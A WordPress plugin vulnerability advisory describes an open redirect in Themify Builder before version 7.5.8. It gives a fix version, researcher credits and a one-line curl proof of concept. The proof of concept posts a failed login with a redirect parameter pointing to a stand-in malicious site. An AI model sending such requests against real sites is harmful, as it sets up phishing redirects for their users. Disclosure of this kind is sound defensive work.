WordPress Plugin Vulnerabilities

Themify Builder < 7.5.8 - Open Redirect

Description

The plugin does not validate a parameter before redirecting the user to its value, leading to an Open Redirect issue

Proof of Concept

curl -kvL https://www.example.com/wp-login.php \
     -e http://arbitrary-referer \
     -d "log=invalid_username&pwd=invalid_password&tb_login=1&tb_redirect_fail=https://malicious-site.com"


- `https://www.example.com` should be replaced with the affected WordPress site URL.
- The request triggers a 302 redirect to the URL specified in `tb_redirect_fail`.

Affects Plugins

Fixed in 7.5.8

References

Classification

Type
REDIRECT
OWASP top 10
CWE

Miscellaneous

Original Researcher
Valentin LOBSTEIN
Submitter
Valentin LOBSTEIN
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-05-23 (about 1 months ago)
Added
2024-05-23 (about 1 months ago)
Last Updated
2024-05-23 (about 1 months ago)

Other